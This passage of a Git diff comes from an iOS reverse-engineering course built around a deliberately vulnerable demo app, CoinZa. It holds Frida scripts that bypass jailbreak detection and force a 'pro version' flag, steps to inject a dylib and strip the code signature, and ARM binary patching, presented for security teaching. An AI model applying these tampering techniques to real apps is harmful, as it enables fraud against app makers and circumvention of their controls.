- In the instruction `[2]` it loads a value `1.2` to `d0`.
|
||||
- In the instruction `[3]` you can see the assembly instruction `fmul` which, based on the [ARM documentation](http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dui0802b/FMUL_float.html), is a `floating-point` multiplication instruction, in this case it will multiply `d0` and `d8` and store it in `d8`. `d0` is the `1.2` value and `d8` is where the original value of the balance is stored.
|
||||
- What you can get from this is that if the `isProVersion` flag is true, the balance is increased by 20% because the original amount is multiplied by `1.2`.
|
||||
- In a real life scenario this would be _literally_ free money and the check is done on the client side, there would be a very good incentive to force the application to "believe" this is a `ProVersion`.
|
||||
- While you're still in `Hopper` (or `Ghidra`) looking at `WalletDetailViewController`, select the `pseudo-code` tab and you'll see something similar to this:
|
||||
```c
|
||||
r0 = [NSUserDefaults standardUserDefaults];
|
||||
r2 = @"isProVersion";
|
||||
if (objc_msgSend(r0, @selector(boolForKey:)) != 0x0) {
|
||||
r8 = 0x1001f0000;
|
||||
r2 = @"isProVersion";
|
||||
r1 = @selector(stringWithFormat:);
|
||||
r2 = @"Since you are a pro user we added an extra 20%% and it's on us!\nYour balance will actually increase by US$%f.";
|
||||
r0 = objc_msgSend(@class(NSString), r1);
|
||||
}
|
||||
```
|
||||
- This means that the value for `isProVersion` is a bool value saved in [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults). You just need to set this value to true and you'll be able to "get free money" or more accurately, enable the pro version.
|
||||
|
||||
**If your jailbreak includes Cydia**
|
||||
- You should be all set because in [Module 1](../Module-1/README.md) you installed `Frida`.
|
||||
|
||||
**If your jailbreak doesn't include Cydia or is NOT jailbroken**
|
||||
- You'll need to perform a few extra steps before you can start using `Frida`.
|
||||
- Download the latest version of `Frida`'s dynamic library (aka dylib) from [here](https://build.frida.re/frida/ios/lib/).
|
||||
- If you don't have a unmodified version of the unzipped application, unzip the `CoinZa.ipa` application:
|
||||
```bash
|
||||
mv CoinZa.ipa CoinZa.zip
|
||||
unzip CoinZa.zip
|
||||
```
|
||||
- Copy the `FridaGadget.dylib` to the `Frameworks/` folder within the `CoinZa` application.
|
||||
```bash
|
||||
cp FridaGadget.dylib Payload/CoinZa.app/Frameworks
|
||||
```
|
||||
- Clone the latest version of `insert_dylib` and build it using `xcodebuild` (you need Xcode to be installed for this to work):
|
||||
```bash
|
||||
git clone https://github.com/Tyilo/insert_dylib
|
||||
cd insert_dylib
|
||||
xcodebuild
|
||||
```
|
||||
- `insert_dylib` is a command line tool that allows you to insert `dylibs` into Mach-o binaries (for example iOS applications).
|
||||
- After you've cloned and built `insert_dylib`, insert the `FridaGadget.dylib`:
|
||||
```bash
|
||||
./insert_dylib --strip-codesig --inplace '@executable_path/Frameworks/FridaGadget.dylib' Payload/CoinZa.app/CoinZa
|
||||
```
|
||||
- If you move the `insert_dylib` executable to `/usr/local/bin/` you'll be able to run the command from any directory and without the `./` prefix:
|
||||
```bash
|
||||
mv insert_dylib/build/Release/insert_dylib /usr/local/bin/insert_dylib
|
||||
```
|
||||
- Repackage the application:
|
||||
```bash
|
||||
zip -qry CoinZa-Frida.ipa Payload
|
||||
```
|
||||
- Now you can use `Cydia Impactor` to resign and install the application on your device. (Just like you did with the original version of `CoinZa.app`).
|
||||
|
||||
**With Frida setup completed**
|
||||
- The first thing you need to do is the same steps you did with `Cycript`, dismiss the popup and disable the jailbreak detection.
|
||||
- Open the application on your device by tapping its icon.
|
||||
- Connect your device to your computer.
|
||||
- Connect to Frida from your computer there's no need for `iTunnel`, simply:
|
||||
```bash
|
||||
frida -U CoinZa
|
||||
```
|
||||
- To dismiss the popup we are going to use the following code:
|
||||
```javascript
|
||||
var alertController = ObjC.classes.UIAlertController
|
||||
ObjC.choose(alertController, {
|
||||
onMatch: function (alert) {
|
||||
alert.dismissViewControllerAnimated_completion_(true, NULL);
|
||||
return 'stop';
|
||||
},
|
||||
onComplete: function () {
|
||||
console.log('[+] Done dismissing annoying alert!');
|
||||
}
|
||||
});
|
||||
```
|
||||
- This snippet of code is using the `ObjC.choose` function to iterate over the application memory and identifying objects that match the `ObjC.classes.UIAlertController` signature. It is similar to `Cycript`'s `choose`, except that this function returns every value by calling the `onMatch` callback. This iterator can be stopped by returning the string `stop` and since I know there's only one `UIAlertController` I stop after the first one is found.
|
||||
- The next step is to disable the jailbreak detection by overriding the `[Utils isJailbroken]` method, exactly the same as you did with `Cycript`. In Frida this is how you override returned values:
|
||||
```javascript
|
||||
function bypassJailbreakDetection() {
|
||||
try {
|
||||
var hook = ObjC.classes.Utils['+ isJailbroken'];
|
||||
Interceptor.attach(hook.implementation, {
|
||||
onLeave: function(oldValue) {
|
||||
_newValue = ptr("0x0") ;
|
||||
oldValue.replace(_newValue);
|
||||
}
|
||||
});
|
||||
|
||||
} catch(err) {
|
||||
console.log("[-] Error: " + err.message);
|
||||
}
|
||||
}
|
||||
```
|
||||
- First you have to get a reference to the method you want to override and then in the `onLeave` callback you return the new value.
|
||||
- And to finalize the same steps you did with `Cycript`, all is left is for you to present the new `InitialViewController`:
|
||||
```javascript
|
||||
function presentInitialVC() {
|
||||
var storyboardClass = ObjC.classes.UIStoryboard;
|
||||
var bundleClasss = ObjC.classes.NSBundle;
|
||||
var navConClass = ObjC.classes.UINavigationController;
|
||||
var applicationClass = ObjC.classes.UIApplication;
|
||||
|
||||
var storyboard = storyboardClass.storyboardWithName_bundle_('Main',bundleClasss.mainBundle());
|
||||
var initialVC = storyboard.instantiateViewControllerWithIdentifier_('InitialViewController');
|
||||
|
||||
var navCon = navConClass.alloc().initWithRootViewController_(initialVC);
|
||||
applicationClass.sharedApplication().keyWindow().rootViewController().presentViewController_animated_completion_(navCon, true, NULL);
|
||||
}
|
||||
```
|
||||
- Up until this point all you've done is following the same steps that you did with `Cydia` but with `Frida`'s interactive console. But you have one step left, enabling the pro version:
|
||||
```javascript
|
||||
function setProVersion() {
|
||||
var userDefaultsClass = ObjC.classes.NSUserDefaults;
|
||||
userDefaultsClass.setObject_forKey_(true,'isProVersion');
|
||||
}
|
||||
```
|
||||
- Now if you increase the balance of any wallet you'll get an extra 20% for free!
|
||||
- You can find a script with all these snippets together in [here](https://github.com/ivRodriguezCA/RE-iOS-Apps-Extras-Github/tree/master/Module-4/coinza.js) and you can load it with `Frida` like this:
|
||||
```bash
|
||||
frida -U -l coinza.js CoinZa
|
||||
```
|
||||
|
||||
|
||||
##### Conclusions
|
||||
- For the majority of researchers and hackers I've met, the dynamic analysis is their favourite part of this whole process. I can't blame them, executing code, sending data, remotely sniffing traffic, all of these are exciting _hacks_.
|
||||
- On the other hand, I hope all these cases show the importance of having a security mindset when developing iOS applications and mobile applications in general. Specially because, like all the issues I showed you during the static analysis, I've seen all of these vulnerabilities in **real world** applications.
|
||||
- After spending some time understanding how an application was built, attacking its runtime is super fun and in some cases could lead to free stuff. _Note: if you ever find an issue with client-side checks, please report it to the author(s) instead of just exploit it for your benefit._ 😉
|
||||
54
Module-5/README.md
Normal file
54
Module-5/README.md
Normal file
@@ -0,0 +1,54 @@
|
||||
### Module 5 - Binary Patching
|
||||
|
||||
This is the 5th and final module of this course. I hope you've been having as much fun as I had creating this course, actually if you're having 1 unit above zero fun I'll be happy. 😂 If you felt like the last two modules were way too long, I have good news for you. This is going to be a very short module. You've learned most of what I can teach you (or what I can come up with for this course).
|
||||
|
||||
`Cycript` and `Frida` can handle pretty much any job you need to modify the behaviour of an iOS appliation. But they have two main problems:
|
||||
|
||||
- All the changes to the runtime (not including writing to or modifying files on disk) live in memory. This means that every time you want to modify these methods you have to re-run your scripts.
|
||||
- As you saw with both tools, you need to run the application on your phone before you can start using them. This means that all the logic that's executed when the application is initialized has already happened and cannot be modified with either of the tools. For example in the `CoinZa` application, the jailbreak detection was done in the `viewDidLoad` method of the first controller ever created by the application, thus you had to built the controller again and present it.
|
||||
|
||||
Sometimes these problems become really annoying and that's when the final tool in your toolbox comes to play. Binary patching will allow you to modify the assembly code of any iOS application then repackage it and install it on your device and the modified (patched) version of the application will run natively on your devices without needing to load any scripts to modify its behaviour.
|
||||
|
||||
For this exercise I'm going to exclusively use `Hopper` because I don't know how to do this in `Ghidra` yet (or if it's even possible). If I later figure it out I'll update the course with both versions.
|
||||
|
||||
- Load the `CoinZa` binary in `Hopper`.
|
||||
- Search for the `Utils` class and select the `isJailbroken` method.
|
||||
- If you're not there, select the `CFG mode` tab to see the method's assembly code.
|
||||
- As most of the jailbreak detection methods, this is a long list of checks with early returns if any of this checks is successful. In the flow graph we can see that most of the checks have a jump to a label `loc_100009cc4` (this might be different on your end), but the important part is that the instruction that's executed when jumping to this label:
|
||||
```assembly
|
||||
orr w20, wzr, #0x1
|
||||
```
|
||||
- This is the `or` operation between the `wzr` register and `0x1`, this means that the result in the register `w20` will always be `1` (or `true`) because `x or 1 = 1`. This basically setting the value 1 to the register `w20`.
|
||||
- On the other side of the flow you can see the following two instructions being executed before jumping:
|
||||
```assembly
|
||||
cmp x8, #0x0
|
||||
cset w20, eq
|
||||
```
|
||||
- The first instructions compares the value in the register `x8` to `0x0` and then the second instruction is set based on that comparison. (Based on the ARM [documentation](http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dui0802b/CSET_CSINC.html), the register is technically increased if the comparison is `true`).
|
||||
- These are the two exit points for the `isJailbroken` method. All you have to do is set the value of the register `w20` to `0x0` (or `false`) and the function will always return `false`.
|
||||
- To modify the assembly code:
|
||||
- Select the `orr` instruction by clicking on it.
|
||||
- Press `⌥ + A` or from the top menu select `Modify` and then `Assemble instruction...`
|
||||
- Hopper will show a window with a text field enter:
|
||||
```assembly
|
||||
movz w20, #0x0
|
||||
```
|
||||
- This will replace the existing instruction with this one. What this instruction is doing is loading the value `0x0`onto the register `w20`.
|
||||
- Follow the same steps for the `cset` instruction.
|
||||
|
||||

|
||||
- Once you've replaced the two instructions, press `⇧ + ⌘ + E` or from the top menu select `File` and then `Produce New Executable...`.
|
||||
- Name the new binary `CoinZa` and click `Save`.
|
||||
- Replace the existing `CoinZa` binary in `CoinZa.app`.
|
||||
- Repackage the application:
|
||||
```bash
|
||||
zip -qry CoinZa-Frida.ipa Payload
|
||||
```
|
||||
- Now you can follow the same `Cydia Impactor` steps, just like you've done so far, and install the application on your device.
|
||||
- Run the application by tapping on its icon.
|
||||
- The application doesn't show the "Sorry not sorry" popup and you can use the application as normal.
|
||||
|
||||
#### Conclusions
|
||||
- Patching the binary is a very powerful technique that will allow you to modify applications from its source and re-install them on your devices as if they were applications downloaded from the App Store.
|
||||
- This technically not part of reverse engineering a binary since by now you probably already finished the reversing and are using that knowledge to your advantage.
|
||||
- This step is a little bit more difficult than most of the previous steps because it requires knowledge of ARM assembly.
|
||||
18
Prerequisites.md
Normal file
18
Prerequisites.md
Normal file
@@ -0,0 +1,18 @@
|
||||
### Prerequisites
|
||||
|
||||
This course is intended to help anyone that wants to start learning about reverse engineering iOS applications, understand the basics of runtime manipulation and binary patching. Since its target audience is beginners and _maybe_ intermediate researchers/developers/engineers/etc there are no mandatory prerequisites, however here's a list of recommended concepts and tools that might help you navigate through this course easier:
|
||||
|
||||
- A computer, ideally a Mac. (_All the material covered in this course was created using a Mac but almost all the tools used have a Windows version or alternative, except Xcode_)
|
||||
- Jailbroken iPhone/iPad/iPod on iOS 10 and above.
|
||||
- Lightning cable to connect your iDevice to your computer.
|
||||
- [Xcode](https://developer.apple.com/xcode/) and the developer tools.
|
||||
- Basic [SSH](https://en.wikipedia.org/wiki/Secure_Shell) knowledge.
|
||||
- Basic [SCP](https://en.wikipedia.org/wiki/Secure_copy) knowledge.
|
||||
- An ARM disassembler like [IDA](https://www.hex-rays.com/products/ida/), [Hopper](https://www.hopperapp.com/) or [Ghidra](https://ghidra-sre.org/). (_Hopper's trial version is enough, no need to spend money if you don't want to. Or use Ghidra, which is free and open source._)
|
||||
- Basic understanding of the [Objective-C](https://en.wikipedia.org/wiki/Objective-C) and [Swift](https://en.wikipedia.org/wiki/Swift_programming_language) programming languages.
|
||||
- Basic understanding of [Javascript](https://en.wikipedia.org/wiki/JavaScript).
|
||||
- Basic understanding of [HTML](https://en.wikipedia.org/wiki/HTML).
|
||||
- Basic understanding of [Man-in-the-Middle attacks](https://en.wikipedia.org/wiki/Man-in-the-middle_attack).
|
||||
- _Curiosity and excitement_ 😉
|
||||
|
||||
Don't worry if you've never heard of some of these, I'll give you step-by-step instructions on each chapter that will explain exactly what are we doing and why.
|
||||
44
README.md
Normal file
44
README.md
Normal file
@@ -0,0 +1,44 @@
|
||||
# Reverse Engineering iOS Applications
|
||||
|
||||
Welcome to my course `Reverse Engineering iOS Applications`. If you're here it means that you share my interest for application security and exploitation on iOS. _Or maybe you just clicked the wrong link_ 😂
|
||||
|
||||
All the vulnerabilities that I'll show you here are real, they've been found in production applications by security researchers, including myself, as part of bug bounty programs or just regular research. One of the reasons why you don't often see writeups with these types of vulnerabilities is because most of the companies prohibit the publication of such content. We've helped these companies by reporting them these issues and we've been rewarded with bounties for that, but no one other than the researcher(s) and the company's engineering team will learn from those experiences. This is part of the reason I decided to create this course, by creating a fake iOS application that contains _all_ the vulnerabilities I've encountered in my own research or in the very few publications from other researchers. Even though there are already some projects[^1] aimed to teach you common issues on iOS applications, I felt like we needed one that showed the kind of vulnerabilities we've seen on applications downloaded from the App Store.
|
||||
|
||||
This course is divided in 5 modules that will take you from zero to reversing production applications on the Apple App Store. Every module is intended to explain a single part of the process in a series of step-by-step instructions that should guide you all the way to success.
|
||||
|
||||
This is my first attempt to creating an online course so bear with me if it's not the best. I love feedback and even if you absolutely hate it, let me know; but hopefully you'll enjoy this ride and you'll get to learn something new. Yes, I'm a n00b!
|
||||
|
||||
If you find typos, mistakes or plain wrong concepts please be kind and tell me so that I can fix them and we all get to learn!
|
||||
|
||||
### Modules
|
||||
|
||||
- [Prerequisites](Prerequisites.md)
|
||||
- [Introduction](Introduction.md)
|
||||
- [Module 1 - Environment Setup](/Module-1/README.md)
|
||||
- [Module 2 - Decrypting iOS Applications](/Module-2/README.md)
|
||||
- [Module 3 - Static Analysis](/Module-3/README.md)
|
||||
- [Module 4 - Dynamic Analysis and Hacking](/Module-4/README.md)
|
||||
- [Module 5 - Binary Patching](/Module-5/README.md)
|
||||
- [Final Thoughts](Final-Thoughts.md)
|
||||
- [Resources](Resources.md)
|
||||
|
||||
### License
|
||||
|
||||
Copyright 2019 Ivan Rodriguez `<ios [at] ivrodriguez.com>`
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
|
||||
|
||||
### Disclaimer
|
||||
I created this course on my own and it doesn't reflect the views of my employer, all the comments and opinions are my own.
|
||||
|
||||
### Disclaimer of Damages
|
||||
Use of this course or material is, at all times, "at your own risk." If you are dissatisfied with any aspect of the course, any of these terms and conditions or any other policies, your only remedy is to discontinue the use of the course. In no event shall I, the course, or its suppliers, be liable to any user or third party, for any damages whatsoever resulting from the use or inability to use this course or the material upon this site, whether based on warranty, contract, tort, or any other legal theory, and whether or not the website is advised of the possibility of such damages. Use any software and techniques described in this course, at all times, "at your own risk", I'm not responsible for any losses, damages, or liabilities arising out of or related to this course. In no event will I be liable for any indirect, special, punitive, exemplary, incidental or consequential damages. this limitation will apply regardless of whether or not the other party has been advised of the possibility of such damages.
|
||||
|
||||
### Privacy
|
||||
I'm not personally collecting any information. Since this entire course is hosted on Github, that's the [privacy policy](https://help.github.com/en/articles/github-privacy-statement) you want to read.
|
||||
|
||||
[^1] I love the work [@prateekg147](https://twitter.com/prateekg147) did with [DIVA](http://damnvulnerableiosapp.com/) and OWASP did with [iGoat](https://www.owasp.org/index.php/OWASP_iGoat_Tool_Project). They are great tools to start learning the internals of an iOS application and some of the bugs developers have introduced in the past, but I think many of the issues shown there are just theoretical or impractical and can be compared to a "_self-hack_". It's like looking at the source code of a webpage in a web browser, you get to understand the static code (HTML/Javascript) of the website but any modifications you make won't affect other users. I wanted to show vulnerabilities that can harm the company who created the application or its end users.
|
||||
15
Resources.md
Normal file
15
Resources.md
Normal file
@@ -0,0 +1,15 @@
|
||||
### Resources
|
||||
|
||||
If you're eager to learn more and continue developing your skills on mobile security here's a list of resources that will take you to the next level:
|
||||
|
||||
- My Blog - Ivan Rodriguez ([@ivRodriguezCA](https://twitter.com/ivRodriguezCA)): [Link](https://ivrodriguez.com/)
|
||||
- Sarah' Blog - Sarah Edwards ([@iamevltwin](https://twitter.com/iamevltwin)): [Link](https://www.mac4n6.com/)
|
||||
- iOS and macOS Internals, Volume I & II & III - Jonathan Levin ([@morpheus______](https://twitter.com/morpheus______)): [Link](http://newosxbook.com/index.php) (_Use Apple Pay if you can to help J with Amazon's 20% fee_)
|
||||
- Beginner's Guide to Exploitation on ARM, Volume I & II - Billy Ellis ([@bellis1000](https://twitter.com/bellis1000)): [Link](https://zygosec.com/book.html)
|
||||
- Youtube mini-series on getting started with Reverse Engineering Android APKs - Kristina Balaam ([@chmodxx_](https://twitter.com/chmodxx_/)): [Link](https://www.youtube.com/channel/UCRHFnRniDEGJCZgsEgtUPxA)
|
||||
- Allyson's Blog - Allyson O'Malley ([@ally_o_malley](https://twitter.com/ally_o_malley)): [Link](https://www.allysonomalley.com/)
|
||||
- Objective by the Sea (Conference) - Patrick Wardle ([@patrickwardle](https://twitter.com/patrickwardle)): [Link](https://objectivebythesea.com/v2/)
|
||||
- NowSecure's Blog - ([@nowsecuremobile](https://twitter.com/nowsecuremobile)): [Link](https://www.nowsecure.com/blog/)
|
||||
|
||||
|
||||
_If you have more link let me know and I'll add them._
|
||||
Reference in New Issue
Block a user